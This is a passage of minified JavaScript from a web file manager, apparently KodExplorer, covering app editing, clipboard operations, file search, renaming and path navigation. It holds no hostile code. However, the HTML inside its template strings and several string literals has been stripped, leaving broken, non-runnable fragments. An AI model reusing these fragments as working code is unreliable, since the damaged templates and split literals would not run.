t=$(this).attr("apptype");e.find("[data-type]").addClass("hidden"),e.find("[data-type="+t+"]").removeClass("hidden")}),e.find(".app-edit-select-icon").unbind("click").bind("click",function(){var t=G.basicPath+"static/images/file_icon/icon_app/";G.isRoot||(t=""),core.api.pathSelect({type:"file",title:LNG.path_api_select_file,firstPath:t},function(t){var t=core.path2url(t);e.find(".app-edit-select-icon-input").val(t)})}),e.find(".size-full").unbind("click").bind("click",function(){var t=$(this).prop("checked");t?(e.find("[name=width]").val("100%"),e.find("[name=height]").val("100%")):(e.find("[name=width]").val("800"),e.find("[name=height]").val("600"))})},_=function(t,a,i){var n,o,s,r=LNG.app_create,l=UUID(),c=e("./tpl/appEdit.html"),d=template.compile(c);switch(void 0==i&&(i="userEdit"),"rootEdit"==i&&(t=t),"userEdit"==i||"rootEdit"==i?(r=LNG.app_edit,s=d({LNG:LNG,uuid:l,data:t,appType:G.settings.appType})):s=d({LNG:LNG,uuid:l,data:{},appType:G.settings.appType}),$.dialog({fixed:!0,width:450,id:l,padding:15,title:r,content:s,button:[{name:LNG.preview,callback:function(){return core.openApp(C(n)),!1}},{name:LNG.button_save,focus:!0,callback:function(){var e=C(n);switch(i){case"userAdd":var s=urlEncode(G.thisPath+e.name);o=G.appHost+"app/userApp&action=add&path="+s;break;case"userEdit":o=G.appHost+"app/userApp&path="+urlEncode(t.path);break;case"rootAdd":o=G.appHost+"app/add&name="+urlEncode(e.name);break;case"rootEdit":o=G.appHost+"app/edit&name="+urlEncode(e.name)+"&old_name="+urlEncode(t.name);break;default:}$.ajax({url:o,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(e))},beforeSend:function(){Tips.loading()},error:core.ajaxError,success:function(e){if(Tips.close(e),e.code)if("rootEdit"==i||"rootAdd"==i){if(!e.code)return;ShareData.frameTop("Openapp_store",function(e){e.App.reload()})}else"function"==typeof a?a():ui.f5()}})}}]}),n=$("."+l),G.isRoot||$(".appbox .appline .right a.open").remove(),t.group&&n.find("option").eq(t.group).attr("selected",1),n.find(".aui-content").css("overflow","inherit"),i){case"userEdit":n.find(".name").addClass("hidden"),n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("option[value="+t.group+"]").attr("checked",!0),"url"!=t.type&&n.find(".appline[data-type=url]").addClass("hidden");break;case"userAdd":n.find(".desc").addClass("hidden"),n.find(".group").addClass("hidden"),n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"rootAdd":n.find("[apptype=url]").attr("checked",!0),n.find("[data-type=url] input[name=resize]").attr("checked",!0),n.find("input[name=width]").attr("value","800"),n.find("input[name=height]").attr("value","600"),n.find("input[name=icon]").attr("value","oexe.png");break;case"rootEdit":n.find("option[value="+t.group+"]").attr("selected",!0),"url"!=t.type&&n.find(".appline[data-type=url]").addClass("hidden");break;default:}L(n)},T=function(){core.appStore()},S=function(e){e&&4>e.length&&"http"!=e.substring(0,4)||$.ajax({url:G.appHost+"app/getUrlTitle&url="+e,dataType:"json",beforeSend:function(){Tips.loading()},success:function(t){var a=t.data;a=a.replace(/[\/\\]/g,"_"),Tips.close(t);var i={content:e,type:"url",desc:"",group:"others",icon:"internet.png",name:a,resize:1,simple:0,height:"70%",width:"90%"},n=urlEncode(G.thisPath+a);e=G.appHost+"app/userApp&action=add&path="+n,$.ajax({url:e,type:"POST",dataType:"json",data:{data:urlEncode(jsonEncode(i))},success:function(e){Tips.close(e),e.code&&ui.f5()}})}})};return{makeJson:n,appEdit:_,appList:T,appAddURL:S,share:u,shareBox:f,setBackground:v,createLink:g,createProject:b,imageRotate:y,newFile:o,newFolder:s,rname:r,zipDownload:c,zip:d,unZip:p,info:k,remove:l,fav:N,favRemove:w}}),define("app/path/tpl/fileinfo/fileInfo.html",[],"
        \n {{if downloadPath}}\n
        \n
        {{LNG.download_address}}:
        \n
        \n \n
        \n \n \n
        \n
        \n
        \n
        \n
        \n {{/if}}\n\n
        \n
        {{LNG.address}}:
        \n
        {{path |kod.window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{sizeFriendly}} ({{size.toLocaleString()}} Byte)
        \n
        \n
        \n\n {{if fileMd5}}\n
        \n
        MD5:
        \n
        {{fileMd5}}
        \n
        \n
        \n {{/if}}\n\n {{if imageSize}}\n
        \n
        {{LNG.image_size}}:
        \n
        {{imageSize.width}} × {{imageSize.height}}
        \n
        \n
        \n {{/if}}\n\n
        \n\n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n\n {{if owner}}\n
        \n
        {{LNG.file_info_owner}}
        \n
        {{owner}}
        \n
        \n
        \n {{/if}}\n\n {{if group}}\n
        \n
        {{LNG.file_info_group}}
        \n
        {{group}}
        \n
        \n
        \n {{/if}}\n \n {{if mode}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n {{/if}}\n
        \n"),define("app/path/tpl/fileinfo/pathInfo.html",[],"
        \n
        \n
        {{LNG.address}}:
        \n
        {{path |kod.window.htmlEncode}}
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{sizeFriendly}} ({{size.toLocaleString()}} Byte)
        \n
        \n
        \n
        \n
        {{LNG.contain}}:
        \n
        {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
        \n
        \n
        \n \n
        \n {{if ctime}}\n
        \n
        {{LNG.create_time}}
        \n
        {{ctime}}
        \n
        \n
        \n {{/if}}\n\n {{if mtime}}\n
        \n
        {{LNG.modify_time}}
        \n
        {{mtime}}
        \n
        \n
        \n {{/if}}\n\n {{if atime}}\n
        \n
        {{LNG.last_time}}
        \n
        {{atime}}
        \n
        \n
        \n {{/if}}\n\n {{if owner}}\n
        \n
        {{LNG.file_info_owner}}
        \n
        {{owner}}
        \n
        \n
        \n {{/if}}\n\n {{if group}}\n
        \n
        {{LNG.file_info_group}}
        \n
        {{group}}
        \n
        \n
        \n {{/if}}\n\n {{if mode}}\n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n {{/if}}\n
        \n"),define("app/path/tpl/share.html",[],'
        \n
        \n
        {{LNG.share_title}}
        \n \n
        \n
        \n
        \n {{LNG.share_path}}:\n \n
        \n
        \n
        \n {{LNG.share_name}}:\n \n \n \n \n \n
        \n
        \n\n \n\n \n
        \n \n
        '),define("app/path/tpl/fileinfo/pathInfoMore.html",[],"
        \n
        \n
        {{LNG.info}}:
        \n
        \n {{fileCount}} {{LNG.file}},{{folderCount}} {{LNG.folder}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.size}}:
        \n
        {{sizeFriendly}} ({{size.toLocaleString()}} Byte)
        \n
        \n
        \n \n
        \n
        \n
        {{LNG.permission}}:
        \n
        {{mode}}
        \n
        \n
        \n {{if is_root==\"1\"}}\n
        \n
        {{LNG.permission_edit}}:
        \n
        \n
        \n
        \n
        \n {{/if}}\n
        \n"),define("app/path/tpl/appEdit.html",[],"
        \n
        \n
        {{LNG.name}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_desc}}
        \n
        \n
        \n
        \n
        \n
        {{LNG.app_icon}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_group}}
        \n
        \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_type}}
        \n
        \n \n \n \n \n \n \n
        \n
        \n
        \n\n
        \n
        {{LNG.app_display}}
        \n
        \n \n \n \n \n
        \n
        \n
        \n
        \n
        {{LNG.app_size}}
        \n
        \n ({{LNG.width}})  \n ({{LNG.height}})\n\n \n \n
        \n
        \n
        \n
        \n \n \n
        {{LNG.app_url}}
        \n
        \n
        \n
        \n
        \n"),define("app/path/clipboard",[],function(){var e=function(e){return ui.path.pathOperate.makeJson(e) -},t=function(t){1>t.length||$.ajax({url:G.appHost+"explorer/pathCopy",type:"POST",dataType:"json",data:e(t),error:core.ajaxError,success:function(e){Tips.tips(e)}})},a=function(t){1>t.length||$.ajax({url:G.appHost+"explorer/pathCute",type:"POST",dataType:"json",data:e(t),error:core.ajaxError,success:function(e){Tips.tips(e)}})},i=function(e,t){e&&(Tips.loading(LNG.moving),setTimeout(function(){var a=G.appHost+"explorer/pathPast&path="+urlEncode(e);$.ajax({url:a,dataType:"json",error:core.ajaxError,success:function(e){Tips.close(e.data,e.code),"function"==typeof t&&t(e.info)}})},50))},n=function(t,a,i){a&&$.ajax({url:G.appHost+"explorer/pathCuteDrag",type:"POST",dataType:"json",data:e(t)+"&path="+urlEncode(a+"/"),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}})},o=function(t,a,i,n){a&&(void 0==n&&(n=0),$.ajax({url:G.appHost+"explorer/pathCopyDrag",type:"POST",dataType:"json",data:e(t)+"&path="+urlEncode(a+"/")+"&filename_auto="+Number(n),beforeSend:function(){Tips.loading(LNG.moving)},error:core.ajaxError,success:function(e){Tips.close(e),e.code&&core.playSound("drag_drop"),"function"==typeof i&&i(e.info)}}))},s=function(e,t){var a="style='height:150px;border-left: 3px solid #def;overflow:auto;margin:20px;background: #f0f8ff;padding:20px;width:300px'",i="
        "+LNG.clipboard_null+"
        ";if(0!=e.length){i="
        "+LNG.clipboard_state+LNG[t]+"
        ";for(var n=40,o=0;e.length>o;o++){var s=e[o],r=s.path;r=n>r.length?r:"..."+r.substr(-n),i+="
        "+s.type+": "+r+""}i+='
        "}return i},r=function(){$.ajax({url:G.appHost+"explorer/clipboard",dataType:"json",error:core.ajaxError,success:function(e){e.code&&($.dialog({id:"dialog-clipboard",title:LNG.clipboard,width:400,content:s(e.data,e.info)}),$(".clipboard-clear").one("click",function(){Tips.tips(LNG.success),$.get(G.appHost+"explorer/clipboard&clear=ok"),$.dialog.list["dialog-clipboard"].close()}))}})},l=function(){var e=function(){var e=G.appHost+"explorer/fileUpload";return"share"==G.sharePage&&"1"==G.shareInfo.canUpload&&(e=G.appHost+"share/fileUpload&user="+G.user+"&sid="+G.sid),e},t=function(e){var t=e.originalEvent;if(t.clipboardData&&t.clipboardData.items){var i=Array.prototype.filter.call(t.clipboardData.items,function(e){return e.type.indexOf("image")>=0});Array.prototype.forEach.call(i,function(e){var t=new FileReader;t.onloadend=function(){a(this.result)},t.readAsDataURL(e.getAsFile())})}},a=function(t){if(!core.uploadCheck("explorer.serverDownload"))return!1;t=t.replace("data:image/png;base64,","");var a=date("20yymd-his")+".png";$.ajax({type:"POST",dataType:"json",url:e()+"&base64Upload=1&upload_to="+urlEncode(G.thisPath)+"&name="+a,data:{file:t},beforeSend:function(){Tips.loading(LNG.loading)},error:core.ajaxError,success:function(e){Tips.close(e)}})};$(window).on("paste",t)};return l(),{copy:t,cute:a,past:i,cuteDrag:n,copyDrag:o,clipboard:r}}),define("app/path/search",[],function(e){var t=e("./tpl/search.html"),a=e("./tpl/searchList.html");return function(e,i){i||(i=G.thisPath);var n,o,s=function(){var a=trim(core.pathClear(i),"/");if(0==a.indexOf(G.KOD_USER_SHARE)&&-1==a.indexOf("/")||a==G.KOD_USER_FAV||a==G.KOD_GROUP_ROOT_ALL)return Tips.tips(LNG.path_cannot_search,!1),void 0;template.helper("searchResultPrase",c);var s=template.compile(t);0==$(".dialog-do-search").length?(n=$.dialog({id:"dialog-do-search",padding:0,fixed:!0,ico:core.icon("search"),resize:!0,title:LNG.search,width:460,height:480,content:s({LNG:LNG})}),o=p(),o.path=i,""!=e&&(o.search=e),$("#search-path").val(o.path),$("#search-value").val(o.search),d()):($.dialog.list["dialog-do-search"].display(!0),e&&$("#search-value").val(e),$("#search-path").val(i),l())},r=function(){return o={search:$("#search-value").val(),path:$("#search-path").val(),is_content:Number($("#search-is-content").is(":checked")),is_case:Number($("#search-is-case").is(":checked")),ext:$("#search-ext").val()}},l=function(){r(),f(o)},c=function(e){var t=htmlEncode($("#search-value").val());if(e=htmlEncode(e),o.is_case)e=e.replace(t,''+t+"");else{var a=e.toLowerCase().indexOf(t.toLowerCase());e=e.substr(0,a)+''+e.substr(a,t.length)+""+e.substr(a+t.length)}return e},d=function(){$("#search-value").die("keyup").live("keyup",function(){core.isApp("editor")||ui.path.setSearchByStr($(this).val())}),$("#search-value,#search-ext,#search-path").keyEnter(l),$(".search-header .btn").die("click").live("click",l),$(".search-result .file-item .file-info").die("click").live("click",function(e){var t=$(this).parent();return t.toggleClass("open"),t.find(".result-item").slideToggle(200),stopPP(e),!1}),$(".search-result .file-item .file-info .goto").die("click").live("click",function(e){var t=$(this).parent().parent(),a=pathHashDecode(t.attr("data-path")),i=core.pathFather(a);return core.openPath(i),setTimeout(function(){core.isApp("explorer")&&ui.path.setSelectByFilename(a)},200),stopPP(e),!1}),$(".search-result .file-item .file-info .title").die("click").live("click",function(e){var t=$(this).parent().parent(),a=pathHashDecode(t.attr("data-path"));return kodApp.setLastOpenTarget(t),kodApp.open(a,t.attr("data-ext")),stopPP(e),!1}),$(".search-result .file-item .result-info").die("click").live("click",function(e){var t=$(this).parent().parent(),a=pathHashDecode(t.attr("data-path"));$(".search-result .file-item .result-info.this").removeClass("this"),$(this).addClass("this");var i=parseInt($(this).find(".line").attr("data-line"));return ShareData.data("FILE_SEARCH_AT",{search:$("#search-value").val(),line:i,lineIndex:$(this).parent().find("[data-line="+i+"]").index($(this).find(".line"))}),kodApp.open(a,t.attr("data-ext"),"aceEditor"),stopPP(e),!1}),$(".search-header input[type=checkbox]").on("click",function(){r(),p(o)})},p=function(e){var t="box_search_config";if(void 0==e){var e=LocalData.getConfig(t);return e||(e={search:"",is_content:0,is_case:0,ext:""}),$("#search-value").val(e.search).textSelect(),e.is_content?$("#search-is-content").attr("checked","checked"):$("#search-is-content").removeAttr("checked"),e.is_case?$("#search-is-case").attr("checked","checked"):$("#search-is-case").removeAttr("checked"),$("#search-ext").val(e.ext),e}return LocalData.setConfig(t,e)},u=function(e){var t=$(".file-items"),i=$(".search-desc");if(!e.code)return i.html(e.data),t.html(""),void 0;if(0==e.data.fileList.length&&0==e.data.folderList.length)return i.html(LNG.search_null),t.html(""),void 0;var n=template.compile(a);if(t.html(n({code:e.code,data:e.data,LNG:LNG})),o.is_content){for(var s=e.data.fileList,r=0,l=0;s.length>l;l++)s[l].searchInfo&&(r+=s[l].searchInfo.length);i.html(LNG.search_result+": "+r+"(in "+s.length+" files)"),e.data.error_info&&i.html(""+LNG.seach_result_too_more+"")}else i.html(e.data.fileList.length+" "+LNG.file+", "+e.data.folderList.length+LNG.folder+".")},f=function(e){p(e),$("#search-value").textFocus();var t=$(".file-items"),a=$(".search-desc");if(!e.search||!e.path)return a.html(LNG.search_info),t.html(""),void 0;var i=G.appHost+"explorer/search";G.sharePage!==void 0&&(i=G.appHost+"share/search&user="+G.user+"&sid="+G.sid),$.ajax({url:i,dataType:"json",type:"POST",data:e,beforeSend:function(){a.hide().html(LNG.searching+'').fadeIn(100)},error:function(e,t,i){core.ajaxError(e,t,i),a.html(LNG.error)},success:function(e){u(e)}})};s()}}),define("app/path/tpl/search.html",[],"\n\n"),define("app/path/tpl/searchList.html",[],'\n{{each data.folderList v i}}\n
      • \n
        \n \n {{\'folder\' |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n{{/each}}\n\n\n{{each data.fileList v i}}\n {{if v.searchInfo}}\n
      • \n
        \n \n {{v.ext |kod.core.icon}}\n \n {{v.name | kod.window.htmlEncode}}\n \n {{v.searchInfo.length}}\n \n
        \n
          \n {{each v.searchInfo value index}}\n
        • \n {{value.line}}:\n {{@value.str | searchResultPrase}}\n
        • \n {{/each}}\n
        \n
      • \n {{else}}\n
      • \n
        \n \n {{v.ext |kod.core.icon}}\n {{v.name | searchResultPrase}}\n \n
        \n
      • \n {{/if}}\n{{/each}}\n\n'),define("app/path/path",["./pathOperate","./clipboard","./search"],function(e){var t=e("./pathOperate"),a=e("./clipboard"),i=e("./search"),n=void 0,o=function(){if(_.get(G,"jsonData.info.pathType")==G.KOD_USER_RECYCLE||_.get(G,"jsonData.info.pathType")==G.KOD_USER_SHARE)return!0;if(ui.fileLight){var e=ui.fileLight.fileListSelect();if(e.hasClass("systemBox"))return Tips.tips(LNG.path_can_not_action,"warning"),!1}return!0},s=function(e,t,a,i){if(e){if(!core.isApp("explorer"))return core.explorer(e),void 0;if(e==G.thisPath)return void 0!=t&&""!=t&&Tips.tips(LNG.path_is_current,"info"),void 0;G.thisPath=e.replace(/\\/g,"/"),G.thisPath=e.replace(/\/+/g,"/"),"/"!=G.thisPath.substr(G.thisPath.length-1)&&(G.thisPath+="/");var n=$(".dialog-file-upload");if(n.length>0){var o="none"==n.css("display")||"hidden"==n.css("visibility");o||core.upload()}if(G.sid!==void 0&&(window.location.href="#"+urlEncode(G.thisPath)),core.playSound("folder_open"),i||ui.path.history.add(G.thisPath),"split"==G.userConfig.listType){var s=$(".split-box .file[data-path="+pathHashEncode(G.thisPath)+"]");if(0!=s.length&&0!=s.find(".children-more-cert").length)return s.click(),void 0;$(".file-list-split .split-box").remove()}ui.f5Callback(function(){"function"==typeof a&&a()})}},r=function(){var e=[],t=60,a=0,i=function(i){var n=e.length-1;return n==a&&e[n]==i?r():(a!=n&&(e=e.slice(0,a+1)),e[e.length-1]!=i&&e.push(i),e.length>=t&&(e=e.slice(1)),a=e.length-1,r(),void 0)},n=function(){e.length-1>=a+1&&(s(e[++a],"","",!0),r())},o=function(){a-1>=0&&(s(e[--a],"","",!0),r())},r=function(){var t="disable",i=e.length-1;$("#btn-history-next").addClass(t),$("#btn-history-back").addClass(t),(0!=a||0!=i)&&(a>0&&i>=a&&$("#btn-history-back").removeClass(t),a>=0&&a!=i&&$("#btn-history-next").removeClass(t))};return{add:i,back:o,next:n,list:function(){return e}}}(),l=function(e){if(void 0!=e){"string"==typeof e&&(e=[e]);for(var t=0;e.length>t;t++)e[t]=trim(e[t],"/");ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(){var t=trim(ui.fileLight.path($(this)),"/");t&&-1!=$.inArray(t,e)&&$(this).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView()}},c=function(e){if(""!=e){if(e=e.toLowerCase(),void 0==n||G.thisPath!=n.path||e!=n.key){var t=[];ui.fileLight.fileListAll().each(function(){var a=ui.fileLight.name($(this)),i=ui.fileLight.path($(this));a&&e==a.substring(0,e.length).toLowerCase()&&t.push(i)}),n={key:e,path:G.thisPath,index:0,list:t}}0!=n.list.length&&(Tips.pop(n.key),l(n.list[n.index++]),n.index==n.list.length&&(n.index=0))}},d=function(e){return""==e?(ui.fileLight.clear(),void 0):(ui.fileLight.clear(),ui.fileLight.fileListAll().each(function(t){var a=ui.fileLight.name($(this));-1!=a.toLowerCase().indexOf(e)&&$(ui.fileLight.fileListAll()).eq(t).addClass(Config.SelectClassName)}),ui.fileLight.select(),ui.fileLight.setInView(),void 0)},p=function(e,t){var a=G.thisPath+e;return void 0==t&&(a+="/"),0!=$('.bodymain .file[data-path="'+pathHashEncode(a)+'"]').length?!0:!1},u=function(e,t){var a,i=0,n="."+t;if((void 0==t||""==t)&&(n=""),!p(e+n,t))return e+n;for(a=e+"(0)"+n;p(a,t);)i++,a=e+"("+i+")"+n;return a},f=function(e,t){var a,i=0,n=G.jsonData.folderList,o=G.jsonData.fileList,s=n,r=G.userConfig.listSortField,l=G.userConfig.listSortOrder,c={name:e,size:0,ext:t,mtime:date("Y/m/d H:i:s",time())};for(core.isApp("desktop")&&(i+=$(".menu-default").length+1),"file"==t?(c.ext=core.pathExt(e),s=o,"up"==l&&(i+=n.length)):"down"==l&&(i+=o.length),a=0;s.length>a;a++)if("down"==l){if(-1==pathTools.strSort(s[a][r],c[r]))break}else if(-1!=pathTools.strSort(s[a][r],c[r]))break;return a+i-1},h=function(a,i,n){ui.fileLight.clear();var o=f(i,a),s=$(Config.FileBoxSelector);"split"==G.userConfig.listType&&(s=$(".split-box.split-select").find(".content"));var r=e("./tpl/file/create.html"),l=template.compile(r),c=l({type:a,newname:i,ext:n,listType:G.userConfig.listType});if(-1==o||0==s.find(".file").length)s.html(c+s.html());else{var d=s.children(".file:eq("+o+")");0==d.length&&(d=s.children(".file").last()),"list"==G.userConfig.listType?d.next().hasClass("children-list")&&(d=d.next()):"split"==G.userConfig.listType&&(d=$(".split-box.split-select .file").last()),$(c).insertAfter(d)}var u=$(".textarea .newfile"),h=i.length;"folder"!=a&&-1!=i.indexOf(".")&&(h=i.length-n.length-1),u.textSelect(0,h),"split"==G.userConfig.listType&&u.css("width",u.parents(".filename").width()-40),"icon"==G.userConfig.listType?($("#makefile").css({height:$("#makefile").width()+15,transition:"none"}),$("#makefile .textarea").css("margin-top","-13px")):$("#makefile .x-item-file").addClass("small"),core.isApp("desktop")&&ui.resetDesktopIcon();var m=function(e){e===!1?$("#makefile").remove():v(e)},g=function(e){if(""==trim(e))return $("#makefile").remove(),Tips.tips(LNG.error,"warning"),void 0;if(p(e,n))$("#makefile").remove(),Tips.tips(LNG.path_exists,"warning");else{var i=G.thisPath;"split"==G.userConfig.listType&&(i=ui.fileLight.path($(".file-icon-edit").parents(".split-box"))),"folder"==a?t.newFolder(i+e,m):t.newFile(i+e,m)}};ui.fileLight.setInView($(".file-continer .file-icon-edit")),u.focus().autoTextarea(),u.unbind("keydown").keydown(function(e){13==e.keyCode&&(stopPP(e),e.preventDefault(),g(u.attr("value"))),27==e.keyCode&&$("#makefile").remove()}).unbind("blur").blur(function(){g(u.attr("value"))})},m=function(){var e="",a=ui.fileLight.fileListSelect(),i=ui.fileLight.name(a),n=core.pathFather(ui.fileLight.path(a)),s=ui.fileLight.type(a);if(1==a.length&&o()){if(a.hasClass("menuSharePath"))return ui.path.shareEdit(),void 0;var r=htmlEncode(rtrim(i,".oexe")),l="";"icon"==G.userConfig.listType&&(l="",a.css({height:a.height()})),$(a).addClass("file-icon-edit").find(".title").html("
        "+l+"
        ");var c=$("#pathRenameTextarea");"split"==G.userConfig.listType&&c.css({width:c.parents(".filename").width()-32,height:c.parents(".filename").height()+1});var d=i.length;"folder"!=s&&-1!=i.indexOf(".")&&(d=i.length-s.length-1),s||0!=i.indexOf(".")?c.textSelect(0,d):c.textSelect(0,i.length);var p=function(o){if("oexe"==s&&(o+=".oexe"),o!=i)e=n+i,o=n+o,t.rname(e,o,function(e){e===!1?$(a).removeClass("file-icon-edit").find(".title").html(htmlEncode(i)):v(e)});else{var r=i;".oexe"==r.substr(-5)&&(r=r.substr(0,r.length-5)),$(a).removeClass("file-icon-edit").find(".title").html(htmlEncode(r))}};c.focus().autoTextarea(),c.keydown(function(e){13==e.keyCode&&(e.preventDefault(),stopPP(e),p(c.attr("value"))),27==e.keyCode&&("oexe"==s&&(i=i.replace(".oexe","")),$(a).removeClass("file-icon-edit").find(".title").html(i))}).unbind("blur").blur(function(){p(c.val())})}},v=function(e){ui.fileLight.clear(),ui.f5Callback(function(){l(e),core.isApp("explorer")&&ui.tree.checkIfChange(G.thisPath)})},g=function(e){var t={},a=[];e.sort(function(e,t){return e.path==t.path?0:e.path>t.path?1:-1});for(var i=function(e){for(var a=e;""!=e;){if(t[e]!==void 0)return 1==t[e]?!0:a==e?(t[e]=1,!1):!0;e=core.pathFather(e)}return!1},n=0;e.length>n;n++)if("folder"==e[n].type){var o=rtrim(e[n].path,"/")+"/";t[o]||i(o)||(t[o]=0)}for(var n=0;e.length>n;n++){var o=e[n].path;"folder"==e[n].type?o=rtrim(o,"/")+"/":e[n].type="file",i(o)||a.push(e[n])}return a},b=function(e){var t=[];return ShareData.data("FILE_SELECT_ARRAY")?(t=ShareData.data("FILE_SELECT_ARRAY"),ShareData.remove("FILE_SELECT_ARRAY")):ui.fileLight.fileListSelect().each(function(){t.push({path:ui.fileLight.path($(this)),type:ui.fileLight.type($(this))})}),e?g(t):1!=t.length?{path:"",type:""}:t[0]},y=function(e,t){for(var a in G.jsonData)if("fileList"==a||"folderList"==a)for(var i=0;G.jsonData[a].length>i;i++)if(G.jsonData[a][i][e]==t)return G.jsonData[a][i]};return{search:i,makeParam:b,refreshCallback:v,history:r,getJsondataCell:y,checkSystemPath:o,pathOperate:t,appList:function(){t.appList(b().path)},appInstall:function(){t.appInstall(b().path)},openWindow:function(){var e=b();return"folder"==e.type&&-1!=core.path2url(e.path).search("explorer/fileProxy")?(Tips.tips(LNG.path_can_not_action,!1),void 0):(kodApp.openWindow(e.path),void 0)},open:function(e){var t=ui.fileLight.fileListSelect();if(void 0!=e||core.isApp("editor"))return kodApp.setLastOpenTarget($(".curSelectedNode").parent()),kodApp.open(e),void 0;if(0!=t.length){var a=b();if(0!=$(t).find(".file-not-exists").length)return Tips.tips(LNG.share_error_path,!1),void 0;if("split"!=G.userConfig.listType||"folder"!=a.type){if("oexe"==a.type){var i=t.attr("data-app");if(i){var n=jsonDecode(base64Decode(i));return core.openApp(n),void 0}}kodApp.setLastOpenTarget(t),kodApp.open(a.path,a.type)}}},share:function(){t.share(b())},setBackground:function(){var e=core.path2url(b().path);ShareData.frameTop("",function(t){t.ui.setWall(e)}),ui.setWall(e),t.setBackground(e)},createLink:function(e){var a=b(),i=ui.fileLight.fileListSelect().last();a.name=trim(i.find(".filename").text()),t.createLink(a.path,a.name,a.type,e,v)},createProject:function(){t.createProject(b().path,v)},download:function(){var e=b(!0),a=!1;$.each(e,function(){"folder"==this.type&&(a=!0)}),a||e.length>1?t.zipDownload(e):$.each(e,function(){kodApp.download(this.path)})},shareEdit:function(){var e=y("path",b().path);try{var a=G.jsonData.shareList[e.sid];t.shareBox(a)}catch(i){}},shareOpenWindow:function(){var e=y("path",b().path),t="file";"folder"==e.type&&(t=1==e.codeRead?"codeRead":"folder");var a=G.appHost+"share/"+t+"&user="+G.jsonData.info.id+"&sid="+e.sid;window.open(a)},shareOpenPath:function(){var e=b(),t=y("path",e.path);if(!t||!G.jsonData.shareList)return kodApp.open(e.path,e.type),void 0;var a=G.jsonData.shareList[t.sid],i=core.pathFather(a.path),n=core.pathThis(a.path);"folder"==a.type?ui.path.list(a.path,""):ui.path.list(i,"",function(){l(n)})},explorer:function(){core.explorer(b().path)},explorerNew:function(){window.open(G.appHost+"explorer&path="+b().path)},openProject:function(){core.explorerCode(b().path)},search:function(e,t){return e?(i(e,t),void 0):(i("",b().path),void 0)},fav:function(){var e=b(),a=ui.fileLight.fileListSelect().last();e.name=trim(a.find(".filename").text()),t.fav(e)},recycleClear:function(){t.remove([{type:"recycle-clear",path:""}],function(){ui.f5()})},remove:function(e,a,i){if(G.jsonData.info&&o()){var n=b(!0);G.jsonData.info&&G.jsonData.info.pathType==G.KOD_USER_SHARE&&G.jsonData.info.id==G.userID&&-1==trim(G.thisPath,"/").indexOf("/")&&$.each(n,function(e){var t=y("path",n[e].path);void 0!=t&&(n[e].type="share",n[e].path=t.sid)}),i?t.remove(n,i,e,a):t.remove(n,v,e,a)}},favRemove:function(){var e=$(".file.select .filename");e.each(function(a){var i=trim($(this).text());a!=e.length-1?t.favRemove(i,"",!0):t.favRemove(i,function(e){Tips.tips(e),ui.tree.refreshFav()},!0)})},clipboard:function(){a.clipboard()},copy:function(){o()&&a.copy(b(!0))},cute:function(){o()&&a.cute(b(!0),ui.f5)},cuteDrag:function(e){a.cuteDrag(b(!0),e,v)},copyDrag:function(e,t){a.copyDrag(b(!0),e,v,t)},copyTo:function(){core.api.pathSelect({type:"folder",title:LNG.copy_to},function(e){a.copyDrag(b(!0),e,v,!1)})},cuteTo:function(){core.api.pathSelect({type:"folder",title:LNG.cute_to},function(e){a.cuteDrag(b(!0),e,v)})},past:function(){var e=G.thisPath;"split"==G.userConfig.listType&&($containBox=$(".split-box.split-select"),1==$containBox.length&&(e=ui.fileLight.path($containBox))),a.past(e,v)},info:function(){t.info(b(!0))},newFile:function(e){void 0==e&&(e="txt"),h("file",u("newfile",e),e)},newFolder:function(){h("folder",u(LNG.newfolder),"")},shareFile:function(){var e=G.appHost+"share/file&sid="+G.sid+"&user="+G.user+"&path="+urlEncode(b().path);window.open(e)},rname:m,list:s,setSearchByStr:d,setSelectByChar:c,setSelectByFilename:l}}),define("app/path/tpl/file/create.html",[],"
        \n {{if listType=='list'}}{{/if}}\n
        \n \n {{if type=='folder'}}\n
        {{\"folder\" | kod.core.icon}}
        \n {{else}}\n
        {{ext | kod.core.icon}}
        \n {{/if}}\n
        \n {{if listType=='icon'}}\n \n {{else}}\n \n {{/if}}\n
        \n
        \n
        \n
        \n
